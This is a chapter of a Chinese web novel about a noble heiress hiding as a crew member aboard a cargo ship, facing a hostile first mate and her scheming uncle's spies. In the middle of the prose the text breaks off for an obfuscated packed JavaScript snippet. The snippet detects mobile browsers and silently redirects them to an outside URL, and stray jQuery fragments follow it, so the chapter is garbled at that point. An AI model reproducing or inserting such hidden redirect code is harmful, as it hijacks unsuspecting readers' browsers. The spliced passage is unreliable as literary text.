7. 刻意刁难

作品:《大小姐的航海训犬日志

    伦敦,珀金斯庄园。


    厚重的橡木书房内弥漫着雪茄和旧羊皮纸的气息。


    佩德克·珀金斯——于霜的叔叔——刚刚结束一场觐见国王与女王的冗长汇报。


    他疲惫地揉着眉心,昂贵的丝绸袖口在烛光下泛着深冷的光泽。


    仆人轻唤,打断了他的思绪。


    “先生,西蒙小姐……她不在庄园里。”


    管家的声音带着一丝不易察觉的颤抖,“已经五天了。我们找遍了所有她可能去的地方……”


    佩德克拿着雪茄的手一顿,藏在金丝框镜片后的眼神微眯,往身旁一瞥。


    “不在?”他声音低沉,听不出情绪,“联系过梅丽莎小姐了吗?说不定我亲爱的侄女和她最好的朋友正形影不离。”


    管家毕恭毕敬地递上接通不久的电话听筒,佩德克接过,脸上瞬间堆砌起恰到好处的担忧和慈爱——


    尽管对面的人根本看不见。


    “亲爱的梅丽莎?是我,佩德克.珀金斯,西蒙她在你那儿吗?这孩子,一声不响就出门,可急坏我了。”


    电话那头传来梅丽莎略显困惑但努力镇定的声音:“佩德克叔叔?西蒙?哦……她,她前几天是跟我提过想去苏格兰高地散散心,说那里空气好……对,散心!可能信号不好,联系不上吧?您别太担心……”


    她握紧听筒的手渗出了细汗,谨慎地替于霜打着掩护。


    佩德克听着,嘴角勾起一丝冷笑,语气却依然温和。


    “她去高地散心了?那地方确实清静,谢谢你了,梅丽莎小姐,如果她有消息,一定要让她立马联系家里,告诉她,我很担心她。”


    “好,好的,佩德克叔叔,祝您礼拜四愉快。”


    佩德克挂断电话,脸上伪装的温情瞬间消失殆尽,只剩下深沉的算计。


    突然,书房门被轻轻推开,一个穿着不起眼、但眼神精明的男人闪身进来,低声快速汇报:“先生,查到了。西蒙小姐五天前出现在泰晤士码头,登上了开往新大陆的货船——‘诺尔尼斯号’。”


    “‘诺尔尼斯号’?”佩德克低声重复,指尖在光滑的红木桌面上轻轻敲击,发出沉闷的笃笃声。


    他眼中没有愤怒,反而闪过一丝预料之中的、带着掌控感的微光。


    “很好,看来我们的大小姐,不用我亲自动手了。”他微微一笑,那笑容冰冷而笃定,“给‘信天翁’发消息。我们的‘小夜莺’已经上船了,让她飞得更近些,好好看着,随时报告。”


    他早已在船上安插了更深的眼线,于霜的主动登船,不过是将猎物送到了他早已布下的网中。


    “我出门一趟,看好庄园。”佩德克接过管家手中递来的手杖。


    管家颌首道:“是,先生。”


    -


    风暴后的第二个晴天,阳光依旧炽烈得灼人。


    甲板上的狼藉基本清理干净,但盐粒和顽固的污渍还附着在木板缝隙里,尤其是靠近锚链孔那片区域,混合着铁锈和油污,在烈日下散发着难闻的气味。


    江熠站在主桅阴影下分配任务,目光扫过人群,最终落在了于霜身上。


    她的脸色比昨天似乎更苍白了些,眼下带着淡淡的青影,显然昨晚没休息好。


    江熠看着她这副样子,又想起昨天她在船长室进出的身影,以及船员们那些关于沉船和贵族的窃窃私语,一股熟悉的烦躁和莫名的情绪,再次堵在胸口。


    他指向那片最脏污的区域,声音冷硬,带着一种刻意为之的公事公办:“主甲板中段,锚链孔附近。你,去把那里清理干净。要彻底。”


    于霜抬起头,鎏金色的眸子没什么情绪地看了他一眼,应了一声,只是默默走过去提了水桶,拿起那把粗糙得能刮掉一层皮的鬃毛刷。


    然后,她双膝跪在了坚硬、滚烫、还嵌着盐粒的木板上。


    她没有丝毫犹豫,也没有抱怨,只是将全部力气都灌注在手臂上。


    鬃毛刷狠狠摩擦着板面,发出刺耳的“唰——唰——”声,一下又一下,仿佛不是在清洁,而是在发泄着什么。


    汗水瞬间从她的额头、鬓角涌出,顺着苍白的脸颊滑落,在下巴汇聚,滴落在甲板上,又立刻被太阳晒干。


    粗糙的刷柄和坚硬的盐粒,很快就将她戴着的普通布手套磨破,鲜红的血丝一点点渗透了脏污的布料,在烈日下显得格外刺目。


    江熠站在不远处的阴影里,已经看了好一会儿。


    那股烦躁感像绞杀绳一样越缠越紧。


    他看着她近乎自虐般的用力,看着她被汗水浸透贴在单薄背上的布料,看着她手套上那抹越来越深的、刺眼的红色。


    昨晚的思绪和眼前这幅景象交织在一起:沉船的贵族、指手画脚的幽灵、她苍白的脸、她此刻无声的、近乎疯狂的倔强……


    这一切都让他觉得无比刺眼。


    她这是在干什么?


    用伤害自己来抗议?


    还是想博取谁的同情?


    可是为什么呢,是昨天和威廉船长谈了什么?


    还是……因为他对她的刁难?


    这个念头一闪而过,却让江熠的心头莫名地更加窒闷。


    他厌恶她身上那种与灾难相连的气息,厌恶她的贵族烙印。


    可眼前这苍白、疲惫、却用尽全力将自己弄得鲜血淋漓的画面……像一根细针,扎进他试图维持坚硬的外壳里,带来一丝尖锐的、陌生的刺痛感。


    “够了!”


    一声压抑着复杂情绪的呵斥响起,比预想中的音量低了些,却带着刻在骨子里的强硬。


    江熠几步走到于霜身边,动作依然带着他惯有的迅捷,但踢向水桶的那一脚,力道却似乎下意识地收敛了些。


    “哐当!”


    木桶被踢得歪倒,里面的脏水泼洒出来,浸湿了于霜的裤脚边缘和鞋子,留下深色的污痕。


    水花溅起,有几滴落在了她汗湿的鬓角。


    江熠高大的身影挡住了部分毒辣的阳光,在于霜身上投下一片移动的阴影。


    他没有立刻说话,目光复杂地掠过她被汗水浸湿的、苍白得近乎透明的侧脸,最终定格在那只染血的破手套上。


    他的喉结不易察觉地滚动了一下,下颌线绷紧,声音低沉,带着一种竭力维持的冷硬:


    “起来!……把自己弄成这样,”他顿了顿,似乎在寻找合适的词。


    “能证明什么?”


    他移开目光,望向远处翻滚的海浪,声音似乎更低了些,带着一丝他自己都未察觉的别扭和生硬:“在船上,把自己弄废是最愚蠢的事情。省点力气,别做……这种没意义的贵族小姐的把戏。”


    最后几个字,几乎是从齿缝里挤出来的,带着一种强行说服自己、也试图说服她的意味。


    于霜的动作猛地停住了。


    她缓缓地抬起头,脸上并没有预想中的愤怒或屈辱,反而扯开了一个异常明艳的笑容。


    她摘下那只渗了血的破布手套,将被磨得破皮、正丝丝缕缕渗着血珠的掌心,稳稳地举到了江熠的面前。


    那纤细的手掌上,几处鲜红的破口在阴影中,红得惊心,像刚刚凝固的熔岩。


    “证明什么?”她的声音因为喘息而沙哑,却异常清晰,目光直直迎上江熠复杂而略显闪避的视线。


    “贝利先生,我母亲说过——淑女的茧,是钻石磨出来的。”


    她顿了顿,脸上的笑容加深,将那只伤痕累累的手掌又往前送了送,仿佛在展示一件稀世珍宝,语气轻快得近乎残忍:


    “你看,多谢你的‘特殊关照’,这不就磨出新的了?”


    海风似乎都停滞了。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221551|181538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几句话如同出鞘的箭射在江熠内心。


    那句“特殊关照”,像一把无形的钥匙,瞬间拧紧了他所有的别扭和烦躁。


    他猛地别开脸,下颌线绷得死紧,所有想反驳、想斥责的话都堵在喉咙里,最终只化作一句更加生硬、更加欲盖弥彰的命令。


    “……随你!爱戴什么首饰是你的事!……擦完现在就去船医那把手包好!”


    他几乎是立刻补充道,语气急切,却又笨拙地试图掩盖,“……别……别让伤口碍事!”


    说完,他像被什么东西烫到一样,猛地转身,步伐又快又重,每一步都踏着无处安放的烦躁、混乱和……一丝狼狈。


    于霜看着他几乎是落荒而逃的背影,无声笑了出来。


    “蠢货。”


    -


    于霜依言走向船尾下层那间狭小、弥漫着浓烈药水味的船医诊室。


    船医汉森正埋头整理被风暴弄乱的药箱。


    看到于霜进来,尤其是她那只还在渗血的手掌,他粗黑的眉毛立刻皱了起来。


    “老天,西蒙小姐!你这是跟鲨鱼搏斗去了吗?”


    他赶紧示意于霜坐下,动作麻利地拿出消毒药水和干净的绷带。


    药水接触到破皮的伤口,带来一阵尖锐的刺痛,于霜只是微微蹙了下眉,一声不吭。


    汉森一边小心翼翼地清理伤口,一边忍不住絮叨:“你到底怎么搞的……”


    “不小心。”


    汉森一顿,心中立马了如指掌。


    “是贝利的要求吧。”


    于霜轻哼一声,有些傲娇地抬起头。


    船医叹了口气,摇摇头,“唉,你也别太往心里去。他对你们这些……呃……身份尊贵的小姐少爷,一向没什么好脸色。”


    于霜抬起眼皮:“哦?为什么?”


    汉森压低了些声音,带着点过来人的唏嘘:“听说他小时候……啧,吃过那些穿金戴银的老爷太太的大亏。具体的不清楚,但打那以后,他就恨透了所有带着‘贵族’味儿的东西。觉得都是些虚伪、傲慢、趴在别人血汗上享乐的蛀虫。”


    他熟练地缠上绷带,“所以啊,他对你……咳,不是针对你个人,是恨乌及乌。”


    “恨乌及乌?”于霜轻声重复。


    她因为家族的变故被迫上船,忍受屈辱,在风暴中搏命,才换来一丝立足之地,如今却被归咎于她无法选择的出身?


    被一个同样伤痕累累的人厌恶,却仅仅因为她身上残留的“味道”?


    汉森的话像火星一样,瞬间点燃了她压抑的逆反心理。


    她看着自己刚被包扎好的、裹着白布的手掌,又想起了江熠手臂上那道狰狞的旧鞭痕。


    她凭什么要因为别人的偏见和伤痛买单?


    凭什么她的“茧”要被这样定义?


    她猛地站起身,动作牵扯到伤口也毫不在意。


    “谢谢您,汉森先生。”她声音平静,“我的‘首饰’很漂亮,不需要别人来定义它的价值。无论是钻石磨的,还是……别的什么磨的。”


    汉森被她突然的冷硬弄得一愣。


    于霜不再多说,转身推开诊室吱呀作响的木门。


    门外昏暗狭窄的通道里空无一人。


    然而,就在她即将步入通道拐角的阴影时,眼角的余光似乎瞥到——


    在诊室门口斜对面,一个堆放破损缆绳的昏暗角落里,似乎有个人影极其轻微地动了一下。


    像是一抹深色衣角迅速缩回了阴影里,快得让人以为是错觉。


    于霜的脚步没有丝毫停顿,仿佛完全没有察觉。


    她挺直脊背,裹着白布的手掌在身侧微微握紧,掌心伤口的刺痛清晰地提醒着她刚才听到的话和看到的那抹可疑的阴影。


    海风从通道尽头吹来,带着咸腥和未知的气息。